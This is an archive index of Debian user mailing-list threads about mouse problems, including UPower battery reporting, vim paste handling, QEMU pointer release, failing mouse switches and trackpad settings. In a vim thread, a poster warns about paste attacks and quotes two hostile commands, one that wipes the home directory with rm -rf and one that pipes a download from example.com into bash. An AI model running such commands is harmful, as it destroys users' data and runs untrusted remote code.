Re: Re: Corsair mouse and UPower

2024-08-18 Thread Celejar
Max Nikulin wrote: > On 08/08/2024 03:37, Celejar wrote: > > Is the mouse simply not reporting power info via standard protocols, or > am I missing something? The mouse also supports Bluetooth, so I suppose > I could try that instead of 2.4GHz and see if it mak

Re: Corsair mouse and UPower

2024-08-07 Thread Max Nikulin
On 08/08/2024 03:37, Celejar wrote: Is the mouse simply not reporting power info via standard protocols, or am I missing something? The mouse also supports Bluetooth, so I suppose I could try that instead of 2.4GHz and see if it makes a difference. In the case of bluetooth headsets, battery

Corsair mouse and UPower

2024-08-07 Thread Celejar
Hello, I'm trying out a Corsair wireless mouse on some of my Debian Sid systems. The mouse itself works fine, using a USB dongle wireless (2.4GHz) receiver, and the mouse shows up in the XFCE Mouse and Touchpad widget, but I can't figure out any way to get power information (i.e., batt

Re: KVM/QEMU/libvirt, and automatically release mouse pointer in Debian guest

2024-07-29 Thread George at Clug
Debian > guest. > > The problem is, the Debian guest does not automatically release the > mouse. I have to tap the right CTRL key. > > My question is, what else needs to be done to automatically release > the mouse pointer in the Debian guest? Not sure whether you use Spice or V

Re: KVM/QEMU/libvirt, and automatically release mouse pointer in Debian guest

2024-07-29 Thread didier gaumet
Debian guest does not automatically release the mouse. I have to tap the right CTRL key. [...] Hello, (I do not use kvm/qemu/libvirt by invoking qemu directly but thru virt-manager, so I am mostly ignorant about qemu direct invocation) Perhaps the observed behavior is due to parameters missing

KVM/QEMU/libvirt, and automatically release mouse pointer in Debian guest

2024-07-28 Thread Jeffrey Walton
mouse. I have to tap the right CTRL key. My question is, what else needs to be done to automatically release the mouse pointer in the Debian guest? - $ sudo systemctl start qemu-guest-agent $ sudo systemctl status qemu-guest-agent ● qemu-guest-agent.service - QEMU Guest Agent Loaded: loaded

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-23 Thread Max Nikulin
On 23/07/2024 19:07, Thomas Schmitt wrote: Max Nikulin wrote: Some ideas: :help :make :help clientserver I think these two lean a little too much towards the ":!rm -rf" side. It was in the context of jumping to compiler error. You can start build from vim or load a log file and us

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-23 Thread Greg Wooledge
On Tue, Jul 23, 2024 at 14:07:04 +0200, Thomas Schmitt wrote: > Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view" > by "rview" ? (So that this PEBKAC cannot fall back to old habits ?) update-alternatives, or just set up some personal shell aliases.

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-23 Thread Thomas Schmitt
Hi, Max Nikulin wrote: > I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird | > bash &" after a newline. Although this attack vector does not match my copy+paste habits, i shall think about replacing my use of vim by rvim. man vim says: rvim rview rgvim rgview Like the

Re: [Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-23 Thread Max Nikulin
On 23/07/2024 14:57, Thomas Schmitt wrote: Max Nikulin wrote: I would consider some convenient key mapping that should be executed before pasting line number instead of disabling bracketed paste completely. There is a chance to paste something weird with hidden text from a web page or from a HTM

[Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-23 Thread Thomas Schmitt
Hi, Max Nikulin wrote: > I would consider some convenient key mapping that should be executed before > pasting line number instead of disabling bracketed paste completely. There > is a chance to paste something weird with hidden text from a web page or > from a HTML mail message. I am not sure wh

Re: [Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Max Nikulin
On 23/07/2024 00:40, Thomas Schmitt wrote: Greg Wooledge wrote: https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi Apparently when in an "xterm environment" (whatever that means; apparently it includes rxvt-unicode), turning on bracketed paste mode works: :set t

[Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Thomas Schmitt
stem: set t_BE= > I'm looking forward to my first upgrade to Debian 11 ...) So the "set mouse=" was just a red herring in my old ~/.vimrc. Well, it is mentioned in the enlightening stackexchange post, too. I meanwile even booted debian-live-11.1.0-amd64-xfce.iso just to learn

Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Greg Wooledge
I found a fix: https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi Apparently when in an "xterm environment" (whatever that means; apparently it includes rxvt-unicode), turning on bracketed paste mode works: :set t_BE= The = is required.

Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Dan Ritter
Greg Wooledge wrote: > In my testing, I ran vim with no arguments, and typed in a single line > of gibberish. Then, I moved the cursor to column 0. Finally, I typed > out the command 20l in a different terminal, highlighted it, and pasted > it into vim. Rather than moving my cursor 20 character

Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Greg Wooledge
On Mon, Jul 22, 2024 at 11:23:19 -0400, Justin Piszcz wrote: > On Mon, Jul 22, 2024 at 11:20 AM Greg Wooledge wrote: > > > > On Mon, Jul 22, 2024 at 17:08:15 +0200, Thomas Schmitt wrote: > > > Since an upgrade from Debian 11 to 12 the vim command > > > > &g

Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread David
On Mon, 22 Jul 2024 at 15:09, Thomas Schmitt wrote: > (I have no Debian 11 at hand any more. It would be nice if one of the > vim users of Debian 11 could confirm that after > :set mouse= > pasting the number text "123" by the mouse and pressing "G" on the >

Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Thomas Schmitt
Hi, Greg Wooledge wrote: > I'm not sure how you've got it configured, but just having a ~/.vimrc > file should be enough to disable the default system vimrc which has all > that broken mouse crap. The problem is that the old way of crap-disabling does not work here. I can

Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Justin Piszcz
On Mon, Jul 22, 2024 at 11:20 AM Greg Wooledge wrote: > > On Mon, Jul 22, 2024 at 17:08:15 +0200, Thomas Schmitt wrote: > > Since an upgrade from Debian 11 to 12 the vim command > > > > :set mouse= > > > > does not disable the "GUI" interpretation

Re: vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Greg Wooledge
On Mon, Jul 22, 2024 at 17:08:15 +0200, Thomas Schmitt wrote: > Since an upgrade from Debian 11 to 12 the vim command > > :set mouse= > > does not disable the "GUI" interpretation of pasting text or numbers > when vim is in normal mode [...] I'm not sure how y

vim on Debian 12: How to disable the mouse GUI mode ?

2024-07-22 Thread Thomas Schmitt
Hi, i am running vim in xterm windows. Since an upgrade from Debian 11 to 12 the vim command :set mouse= does not disable the "GUI" interpretation of pasting text or numbers when vim is in normal mode (i.e. when pressing ':' leads to a command prompt in the base line an

Re: mouse wheel

2024-04-26 Thread Franco Martelli
On 26/04/24 at 16:50, tony wrote: Thank you very much. It was indeed the mouse that had failed. I 'borrowed' a mouse from my laptop, which worked fine. Thanks again Check it twice, maybe turn off the mouse and unplug/re-plug the receiver it solves the issue. Cheers, -- Franco Martelli

Re: mouse wheel

2024-04-26 Thread Marco Moock
Am 26.04.2024 um 15:50:05 Uhr schrieb tony: > Thank you very much. It was indeed the mouse that had failed. Open it and check if there is dirt in the spokewheel. This will block the light for the optomechanical sensor. -- Gruß Marco Send unsolicited bulk mail to 1714139405mu...@cartoonies.org

Re: mouse wheel

2024-04-26 Thread tony
On 26/04/2024 12:16, Marco Moock wrote: Am 26.04.2024 schrieb tony : Thank you very much. It was indeed the mouse that had failed. I 'borrowed' a mouse from my laptop, which worked fine. Thanks again. Tony My mouse wheel seems to have (suddenly) stopped working and will not scro

Re: mouse wheel

2024-04-26 Thread Marco Moock
Am 26.04.2024 schrieb tony : > My mouse wheel seems to have (suddenly) stopped working and will not > scroll. Anyone come across this? Help much appreciated. Run xev and the scroll the wheel and check the output. You should see something like this: ButtonPress event, serial 32, synthe

mouse wheel

2024-04-26 Thread tony
Hi, Debian 10/KDE. My mouse wheel seems to have (suddenly) stopped working and will not scroll. Anyone come across this? Help much appreciated. Cheers, Tony

keyboard and mouse just stuck

2024-03-14 Thread jwbda
Hi, Thanks for reading, and I need some help. Description: About 2024 Mar 14 0:0:0, I use the shortcut 'Ctrl + Alt + L', lock the screen, after several hours, I want to login the computer. Then, I click one mouse, and type one enter key, the screen light, and everything stuck and

Re: Mate: mouse too sensitive

2024-03-14 Thread Christoph Brinkhaus
Am Thu, Mar 14, 2024 at 04:33:56PM + schrieb Ottavio Caruso: > My Logitech wireless mouse has always been a bot over-sensitive, but now, > going into its 7th years of life, has become even more erratic. I am not > complaining about the speed, just the sensitivity. I have to be ver

Re: Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-24 Thread Marcelo Laia
10,916 V looks a bit odd to me. After your comments, I looking forward about the battery voltage and I found this: https://www.linkedin.com/pulse/how-choose-laptop-battery-king-sener/ "Voltage is closely related to the number of cells in the battery - typically a 10.8V battery has 6 cells and

Re: Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-24 Thread hw
_hub, Driver=xhci_hcd/4p, 5000M > :~$ > > :~$ ls /sys/bus/usb/drivers/usb/ > 1-1 1-1.5 1-1.6 1-1.7 1-1.8 2-2 bind module uevent unbind usb1 > usb2 usb3 > :~$ > > After unplugging the power cable, i.e., the battery is discharging: > > After a few second

Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-22 Thread David Wright
z > - Memory: > - Size: 16GB [ … ] > After unplugging the power cable, i.e., the battery is discharging: > > After a few seconds, the screen brightness is set to zero. The mouse > remains active, and I can use it for a few more seconds, when it > also becomes disabled. From the

Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-22 Thread Charles Curley
On Thu, 22 Feb 2024 13:49:54 -0300 Marcelo Laia wrote: > Thank you all for the invaluable assistance provided. Unfortunately, > the issue has resurfaced today. I don't believe it's related to the > age of the hardware, although my Inspiron 5547-A20 is from 2014, as > indicated below: A stab in t

Re: Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-22 Thread Marcelo Laia
b1 usb2 usb3 :~$ After unplugging the power cable, i.e., the battery is discharging: After a few seconds, the screen brightness is set to zero. The mouse remains active, and I can use it for a few more seconds, when it also becomes disabled. From then on, only the touchpad and intern

Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-15 Thread Max Nikulin
On 15/02/2024 12:39, David Wright wrote: I would go further than tomas, and suggest that the battery might be suspect, or the charging circuit of course. (None of my three laptops works without AC power.) How old is it? Battery health may be estimated from output of upower --dump by com

Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-14 Thread David Wright
On Wed 14 Feb 2024 at 20:09:09 (-0300), Marcelo Laia wrote: > Unfortunately, the issue has worsened. Today, I observed that upon unplugging > the power cable, within one or two seconds, the screen dims (brightness is > set to zero), and both the external mouse and keyboard (USB) sto

Re: Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-02-14 Thread Marcelo Laia
Dear Debian community, Thank you for your insights. Unfortunately, the issue has worsened. Today, I observed that upon unplugging the power cable, within one or two seconds, the screen dims (brightness is set to zero), and both the external mouse and keyboard (USB) stop working. Even if I try

Re: (SOLVED) disable trackpad when mouse is connected (GNOME bug?)

2024-01-25 Thread Keith Bainbridgge
Good afternoon Another option is to use a keyboard shortcut. My last laptop came with this set up using a Fn key combo (eg fn-f5) So I'm using a key that was set to answer MSteams calls - what? Check keyboard - shortcuts - touchpad. cinnamon gives options of toggle/switch on/ switch-off. I g

Re: (SOLVED) disable trackpad when mouse is connected (GNOME bug?)

2024-01-25 Thread Max Nikulin
On 25/01/2024 21:42, Max Nikulin wrote: Try     lsusb --verbose --tree I have received a private reply. Please, send messages to the mailing list in such cases. I intentionally combined -vt options and I find output more convenient than for just "lsusb -t". The "-t" option changes behavio

Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-01-25 Thread Max Nikulin
On 24/01/2024 02:13, Marcelo Laia wrote: After recently upgrade, my external keyboard and external mouse (both USB) stopped working after after the screen brightness automatically decreased. This has occurred a few times, and I can only solve it by rebooting the laptop. Were your

Re: (SOLVED) disable trackpad when mouse is connected (GNOME bug?)

2024-01-25 Thread Max Nikulin
On 25/01/2024 20:42, Henning Follmann wrote: The issue is a usb hub. Somehow GNOME thinks this hub is a mouse. Try lsusb --verbose --tree perhaps somebody plugged in a tiny receiver for a wireless mouse and forgot about it.

(SOLVED) disable trackpad when mouse is connected (GNOME bug?)

2024-01-25 Thread Henning Follmann
On Wed, Jan 24, 2024 at 03:30:23PM -0500, Henning Follmann wrote: > Hello, > for a while I am using > > gsettings set org.gnome.desktop.peripherals.touchpad send-events > 'disabled-on-external-mouse' > > which really worked fine. > > But since last week t

disable trackpad when mouse is connected (GNOME bug?)

2024-01-24 Thread Henning Follmann
Hello, for a while I am using gsettings set org.gnome.desktop.peripherals.touchpad send-events 'disabled-on-external-mouse' which really worked fine. But since last week this does not work anymore; in the way that the trackpad is always disabled, even when the mouse is not connecte

Re: Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-01-23 Thread tomas
On Tue, Jan 23, 2024 at 04:13:23PM -0300, Marcelo Laia wrote: > Dear Debian community, > > I am facing an issue with my Dell laptop, running Debian. > > After recently upgrade, my external keyboard and external mouse (both USB) > stopped working after after the screen bright

Issue with USB External Keyboard, External Mouse, and Screen Brightness on Dell Laptop

2024-01-23 Thread Marcelo Laia
Dear Debian community, I am facing an issue with my Dell laptop, running Debian. After recently upgrade, my external keyboard and external mouse (both USB) stopped working after after the screen brightness automatically decreased. This has occurred a few times, and I can only solve it by

Re: Mouse single click handling?

2023-12-23 Thread Dan Ritter
Jeremy Nicoll wrote: > I keep hoping that my next laptop will have a backlit > keyboard but very often the machines I choose (for > other higher-priority criteria) don't have them. > > I've also tried a few clip-on mini lights (plugged into a > spare USB socket) but many such lights come with poo

Re: Mouse single click handling?

2023-12-22 Thread Jeremy Nicoll
On Thu, 21 Dec 2023, at 13:36, songbird wrote: > i've > already worn some of letters off the keys. :( but, well, i got > it on sale for about $30 so i really can't complain. For years I've used Dymo labels to replace keyboard legends. (Not the 1960s/1970s thick 3d labels, but 'printed' ones).

Re: Mouse single click handling?

2023-12-21 Thread songbird
e, my M325 is doing the quick double clicks recently. :( i'd love a converted Model M with a long (12ft) USB cable. but i won't buy a new keyboard that is all plastic because they just bend too much and then fail. > If only Unicomp made a mouse as good as their keyboards . . . . s

[SOLVED?] Re: Mouse single click handling?

2023-12-21 Thread local10
Dec 19, 2023, 16:36 by to...@tuxteam.de: > Here's someone offering a patch for xserver-xorg-input-evdev: > > https://blog.guntram.de/?p=16 > > and this is someone reporting on how to build for Ubuntu: > > > https://askubuntu.com/questions/321816/mouse-sometimes-d

Re: Mouse single click handling?

2023-12-20 Thread James H. H. Lampert
On 12/20/23 1:06 PM, Cindy Sue Causey wrote: I finally switched tactics last year and tried gaming mice. I thought about the way they're used. It's comparable to how much I click for emails and research related to ongoing Life.. shtuff. The main reason why I avoid gaming mice is because they te

Re: Mouse single click handling?

2023-12-20 Thread Cindy Sue Causey
arch related to ongoing Life.. shtuff. If I can help it, I'll never buy a "regular" mouse again. I'm still poverty level so I buy bottom dollar electronics, used and otherwise. If you can find "cheap" new gaming mice, the price kind of evens out with buying multiple re

Re: Mouse single click handling?

2023-12-20 Thread James H. H. Lampert
is not terribly difficult. But I can definitely confirm that Logitech is NOT making mice like they used to. If only Unicomp made a mouse as good as their keyboards . . . . -- James H. H. Lampert

Re: Mouse single click handling?

2023-12-20 Thread Jeremy Nicoll
a duvet, with the laptop on an overbed table.) For now I'm using an Anker vertical mouse, which has lasted longer than the previous Logitech mice. It too has fallen to the floor a few times, but I have a theory that its odd body shape means that it tends to hit the floor then roll over (like

Re: Mouse single click handling?

2023-12-20 Thread local10
Dec 20, 2023, 15:22 by noloa...@gmail.com: > And here's the bug report: <> https://bugs.kde.org/show_bug.cgi?id=413502> > > I was following this bug but it didn't help me, probably because the system sees it as two single clicks that happen quickly one after another, not a double click. Regar

[SOLVED] Re: Mouse single click handling?

2023-12-20 Thread local10
Dec 20, 2023, 14:57 by anssi.sa...@debian-user.mail.kapsi.fi: > BTW, you might be able to use working switches from your other mice as > spare parts if you want to fix one. > That's a good idea though I ended up doing what Tom had suggested: https://lists.debian.org/debian-user/2023/12/msg00950.

Re: Mouse single click handling?

2023-12-20 Thread Jeffrey Walton
gt; single click. > > > > With reference to the above, is there a way or setting to force several > > mouse clicks within a short period of time to be interpreted as a single > > mouse click? > [...] > > Double click speed is pretty common. I am surprised to see i

Re: Mouse single click handling?

2023-12-20 Thread Jeffrey Walton
g to force several mouse > clicks within a short period of time to be interpreted as a single mouse > click? I think it depends on whether you are using Wayland or X11, and whether libinput is being used. Some things, like disabling the trackpad when a mouse is plugged in, requires a X11+libinp

Re: Mouse single click handling?

2023-12-20 Thread Anssi Saari
local10 writes: > It's a Logitech Trackman Marble Trackball mouse (T-BC21 model). I like > this model but for some reason they just don't seem to last as long as > they used to. Maybe they have cost reduced it so much it doesn't last as well any more. Looks like there ar

Re: Mouse single click handling?

2023-12-20 Thread Dan Purgert
On Dec 19, 2023, Felix Miata wrote: > Alexander V. Makartsev composed on 2023-12-19 11:37 (UTC-0500): > > > local10 wrote: > > >> I have several mice that went bad with the same defect: they > >> sometimes generate two single clicks very quickly (say, within > >> 10-20ms) instead of a single clic

Re: OT: Pitfalls of online purchases (Was Re: Mouse single clickhandling?)

2023-12-20 Thread gene heskett
On 12/20/23 02:48, Alexander V. Makartsev wrote: On 19.12.2023 23:48, Felix Miata wrote: Can you suggest any particular online source in North America that sells those switches? I had no success trying to refurb one in my invaluable Logitech Trackman Marble FX PS/2 trackball. It took 2 hours t

OT: Pitfalls of online purchases (Was Re: Mouse single click handling?)

2023-12-19 Thread Alexander V. Makartsev
On 19.12.2023 23:48, Felix Miata wrote: Can you suggest any particular online source in North America that sells those switches? I had no success trying to refurb one in my invaluable Logitech Trackman Marble FX PS/2 trackball. It took 2 hours to get that tiny switch back together after disasse

Re: Mouse single click handling?

2023-12-19 Thread tomas
On Tue, Dec 19, 2023 at 11:56:29PM -0500, Stefan Monnier wrote: > >> FWIW there's a case to be made that "The Right Thing" is to try and > >> reduce consumption of resources, and prolonging the use of hardware > >> falls in this category. > > One's time is also a finite resource. > > Yup. But the

Re: Mouse single click handling?

2023-12-19 Thread Stefan Monnier
>> FWIW there's a case to be made that "The Right Thing" is to try and >> reduce consumption of resources, and prolonging the use of hardware >> falls in this category. > One's time is also a finite resource. Yup. But the OP seemed to have at least some time/motivation to try and workout a soluti

Re: Mouse single click handling?

2023-12-19 Thread Charles Curley
On Tue, 19 Dec 2023 10:43:37 -0500 Stefan Monnier wrote: > FWIW there's a case to be made that "The Right Thing" is to try and > reduce consumption of resources, and prolonging the use of hardware > falls in this category. One's time is also a finite resource. -- Does anybody read signatures a

Re: Mouse single click handling?

2023-12-19 Thread Charles Curley
On Tue, 19 Dec 2023 17:01:46 +0100 (CET) local10 wrote: > I've been replacing them, I have 4-5 mice like that, they all fail > with the same defect after 6-12 months or so. So I thought perhaps > there was a way to fix them instead of buying a new one every 6-12 > months. I suggest you buy a dif

Re: Mouse single click handling?

2023-12-19 Thread Felix Miata
good service. It > will be a lot easier to throw the mouse away and get a new one. They > are almost dirt cheap. Not trackballs like a Marble FX, at any price. Caps are about the only things on digikey and mouser I can ever find to match need. Identifying what I need among the bazillion c

Re: Mouse single click handling?

2023-12-19 Thread Fred
lot easier to throw the mouse away and get a new one. They are almost dirt cheap. Best regards, Fred

Re: Mouse single click handling?

2023-12-19 Thread local10
e cheaper. I have an Evga X3 mouse at work i got > in 2018. It still works and it cost just 30 euros. > It's a Logitech Trackman Marble Trackball mouse (T-BC21 model). I like this model but for some reason they just don't seem to last as long as they used to. Regards,

Re: Mouse single click handling?

2023-12-19 Thread Felix Miata
Alexander V. Makartsev composed on 2023-12-19 11:37 (UTC-0500): > local10 wrote: >> I have several mice that went bad with the same defect: they sometimes >> generate two single clicks very quickly (say, within 10-20ms) instead of a >> single click. > This is a very common problem with micro-sw

Re: Mouse single click handling?

2023-12-19 Thread tomas
re rated for 10- > 20million clicks. Way more than than the cheap ones. In the long run > those gaming mice come cheaper. I have an Evga X3 mouse at work i got > in 2018. It still works and it cost just 30 euros. As I said, I fixed a couple of them where the switches weren't the

Re: Mouse single click handling?

2023-12-19 Thread Alexis Grigoriou
tead of buying a new one every 6-12 > months. > Been there done that. Cheap mice have cheap switches which fail sooner than later. Gaming mice are more expensive, but they are rated for 10- 20million clicks. Way more than than the cheap ones. In the long run those gaming mice come cheaper.

Re: Mouse single click handling?

2023-12-19 Thread Brad Rogers
now someone competent at soldering. Failing that, when you come to buy a new mouse, pay more; That way, one would hope, that the quality of parts would be better, making for a longer life. My mouse developed similar behaviour; LMB(1) became very touchy. I replaced the switch about three years

Re: Mouse single click handling?

2023-12-19 Thread gene heskett
On 12/19/23 10:11, local10 wrote: Hi, I have several mice that went bad with the same defect: they sometimes generate two single clicks very quickly (say, within 10-20ms) instead of a single click. With reference to the above, is there a way or setting to force several mouse clicks within a

Re: Mouse single click handling?

2023-12-19 Thread Alexander V. Makartsev
On 19.12.2023 21:41, to...@tuxteam.de wrote: On Tue, Dec 19, 2023 at 09:37:20PM +0500, Alexander V. Makartsev wrote: On 19.12.2023 20:04, local10 wrote: Hi, I have several mice that went bad with the same defect: they sometimes generate two single clicks very quickly (say, within 10-20ms) ins

Re: Mouse single click handling?

2023-12-19 Thread local10
Dec 19, 2023, 16:37 by to...@tuxteam.de: > Here's someone offering a patch for xserver-xorg-input-evdev: > > https://blog.guntram.de/?p=16 > > and this is someone reporting on how to build for Ubuntu: > > > https://askubuntu.com/questions/321816/mouse-sometimes-d

Re: Mouse single click handling?

2023-12-19 Thread Curt
On 2023-12-19, wrote: > > > But at the end, that's how most (reaonably complex) hardware works :) > Surely there must be superior and inferior mice. Maybe the OP should try another brand. Or has she? Up on the ISS, I would suppose they use touch screens, as floating mice would be a novelty.

Re: Mouse single click handling?

2023-12-19 Thread tomas
On Tue, Dec 19, 2023 at 09:37:20PM +0500, Alexander V. Makartsev wrote: > On 19.12.2023 20:04, local10 wrote: > > Hi, > > > > I have several mice that went bad with the same defect: they sometimes > > generate two single clicks very quickly (say, within 10-20ms) instead of a > > single click. >

Re: Mouse single click handling?

2023-12-19 Thread tomas
On Tue, Dec 19, 2023 at 11:31:21AM -0500, Greg Wooledge wrote: > On Tue, Dec 19, 2023 at 05:01:46PM +0100, local10 wrote: > > I've been replacing them, I have 4-5 mice like that, they all fail with the > > same defect after 6-12 months or so. So I thought perhaps there was a way to > > fix them ins

Re: Mouse single click handling?

2023-12-19 Thread Alexander V. Makartsev
On 19.12.2023 20:04, local10 wrote: Hi, I have several mice that went bad with the same defect: they sometimes generate two single clicks very quickly (say, within 10-20ms) instead of a single click. This is a very common problem with micro-switches inside computer mice, mechanical keyboards,

Re: Mouse single click handling?

2023-12-19 Thread tomas
ught perhaps there was a way to > fix them instead of buying a new one every 6-12 months. Here's someone offering a patch for xserver-xorg-input-evdev: https://blog.guntram.de/?p=16 and this is someone reporting on how to build for Ubuntu: https://askubuntu.com/questions/321816/mou

Re: Mouse single click handling?

2023-12-19 Thread Greg Wooledge
On Tue, Dec 19, 2023 at 05:01:46PM +0100, local10 wrote: > I've been replacing them, I have 4-5 mice like that, they all fail with the > same defect after 6-12 months or so. So I thought perhaps there was a way to > fix them instead of buying a new one every 6-12 months. If you can fix the hardwar

Re: Mouse single click handling?

2023-12-19 Thread tomas
On Tue, Dec 19, 2023 at 10:29:33AM -0500, Henning Follmann wrote: [...] > I have to ask: are you currently located at a remote location like the ISS > station or similar? [...] Bad mood, today? Cheer up -- t signature.asc Description: PGP signature

Re: Mouse single click handling?

2023-12-19 Thread local10
Dec 19, 2023, 15:30 by hfollm...@itcfollmann.com: > I have to ask: are you currently located at a remote location like the ISS > station or similar? > No, nothing like that. > Why would you go down this rabbit hole when the right > thing is to replace faulty hardware especially when it is cheap

Re: Mouse single click handling?

2023-12-19 Thread Stefan Monnier
hing" is to try and reduce consumption of resources, and prolonging the use of hardware falls in this category. This said, fully working mouses are thrown out on a regular basis at most large organisations, so it's probably a lost battle. But maybe the OP's mouse have some characteri

Re: Mouse single click handling?

2023-12-19 Thread Henning Follmann
e a way or setting to force several mouse > clicks within a short period of time to be interpreted as a single mouse > click? > > Thanks > I have to ask: are you currently located at a remote location like the ISS station or similar? Why would you go down this rabbit hole when

Re: Mouse single click handling?

2023-12-19 Thread Dan Purgert
On Dec 19, 2023, local10 wrote: > I have several mice that went bad with the same defect: they sometimes > generate two single clicks very quickly (say, within 10-20ms) instead > of a single click. > > With reference to the above, is there a way or setting to force > several mou

Mouse single click handling?

2023-12-19 Thread local10
Hi, I have several mice that went bad with the same defect: they sometimes generate two single clicks very quickly (say, within 10-20ms) instead of a single click. With reference to the above, is there a way or setting to force several mouse clicks within a short period of time to be

Re: Freezing mouse and other suff

2023-07-09 Thread David Christensen
3] mce: [Hardware Error]: TSC 0 ADDR 8d387240 MISC 704086 and then 1.290354] mce: [Hardware error]: Processor 0:906eb TIME 1688865217 Socket 0 C O microcode f0 Also my system freezes, I thought it was just the mouse but it is the whole system.  It usually happens when I have more than four windows

Re: Freezing mouse and other suff

2023-07-09 Thread Maureen L Thomas
I stand corrected my hdd is 1 terabyte and the ram is 8gb.  I am not sure I can expand that but I will find out. On 7/9/23 3:07 AM, Bret Busby wrote: On 9/7/23 15:03, Bret Busby wrote: On 9/7/23 12:37, David Christensen wrote: On 7/8/23 20:13, Maureen L Thomas wrote: So I have the latest stab

Re: Freezing mouse and other suff

2023-07-09 Thread Maureen L Thomas
704086 and then 1.290354] mce: [Hardware error]: Processor 0:906eb TIME 1688865217 Socket 0 C O microcode f0 Also my system freezes, I thought it was just the mouse but it is the whole system.  It usually happens when I have more than four windows open or after I play music.  I have

Re: Freezing mouse and other suff

2023-07-09 Thread Anssi Saari
Stefan Monnier writes: >>> computer.  I have an 8gb seagate ATA  harddrive, Inetl core i3-9100T CPU 310 >> Bank 9 suggests that the main memory might be ECC memory? > > Hmm... according to Wikipedia the i3-9100T does not support ECC memory. Intel says otherwise. https://ark.intel.com/content/ww

Re: Freezing mouse and other suff

2023-07-09 Thread Stefan Monnier
>> I am wondering whether the 8GB refers to the amount of the RAM, and the >> reference to the HDD is the type, without the capacity? > And, in that, if the computer's amount of RAM, is only 8GB, what is the size > of the swap partition? If the computer has only 8GB RAM, then, I suggest > that at

Re: Freezing mouse and other suff

2023-07-09 Thread Stefan Monnier
>> computer.  I have an 8gb seagate ATA  harddrive, Inetl core i3-9100T CPU 310 > Bank 9 suggests that the main memory might be ECC memory? Hmm... according to Wikipedia the i3-9100T does not support ECC memory. Stefan

Re: Freezing mouse and other suff

2023-07-09 Thread Andrew M.A. Cater
283] mce: [Hardware Error]: TSC 0 ADDR 8d387240 MISC 704086    and > then > That also looks like a memory address > 1.290354] mce: [Hardware error]: Processor 0:906eb TIME 1688865217 Socket 0 > C O microcode f0 > Just reporting the error > > Also my system freezes, I

Re: Freezing mouse and other suff

2023-07-09 Thread Bret Busby
On 9/7/23 15:03, Bret Busby wrote: On 9/7/23 12:37, David Christensen wrote: On 7/8/23 20:13, Maureen L Thomas wrote: So I have the latest stable Debian installed on my Lenova all in one computer.  I have an 8gb seagate ATA  harddrive, 8 GB seems small.  Do you mean 8 TB? I am wondering

Re: Freezing mouse and other suff

2023-07-09 Thread Bret Busby
On 9/7/23 12:37, David Christensen wrote: On 7/8/23 20:13, Maureen L Thomas wrote: So I have the latest stable Debian installed on my Lenova all in one computer.  I have an 8gb seagate ATA  harddrive, 8 GB seems small.  Do you mean 8 TB? I am wondering whether the 8GB refers to the amoun

Re: Freezing mouse and other suff

2023-07-08 Thread David Christensen
0:  Machine Check: 0 Bank 9: ae36 1,290283] mce: [Hardware Error]: TSC 0 ADDR 8d387240 MISC 704086 and then 1.290354] mce: [Hardware error]: Processor 0:906eb TIME 1688865217 Socket 0 C O microcode f0 Also my system freezes, I thought it was just the mouse but it is the whole

Freezing mouse and other suff

2023-07-08 Thread Maureen L Thomas
Socket 0 C O microcode f0 Also my system freezes, I thought it was just the mouse but it is the whole system.  It usually happens when I have more than four windows open or after I play music.  I have absolutely no idea what is going on.  Your help would be greatly appreciated.  Thank you. Moe

Re: Settings: focus when mouse over window?

2023-06-01 Thread tomas
> > > > I did a web search (no, not the google) with the terms > > > > gnome metacity "focus follows mouse" > > > > (metacity is, AFAIK, Gnome's window manager) and the > > answer seems to be... complex [...] > I don't know why y

Re: Settings: focus when mouse over window?

2023-06-01 Thread Anders Andersson
On Thu, Jun 1, 2023 at 6:44 AM wrote: > > On Thu, Jun 01, 2023 at 12:08:29AM -0400, Nicholas Papadonis wrote: > > > I have the default Gnome WM installed. Does it provide a similar option? > > I did a web search (no, not the google) with the terms > > gnome me

Re: Settings: focus when mouse over window?

2023-05-31 Thread tomas
focus follows mouse" (metacity is, AFAIK, Gnome's window manager) and the answer seems to be... complex: it depends on whether you use Wayland or not. It seems to "kind of work", but in different ways. Look also for "sloppy focus": in general you don't want you

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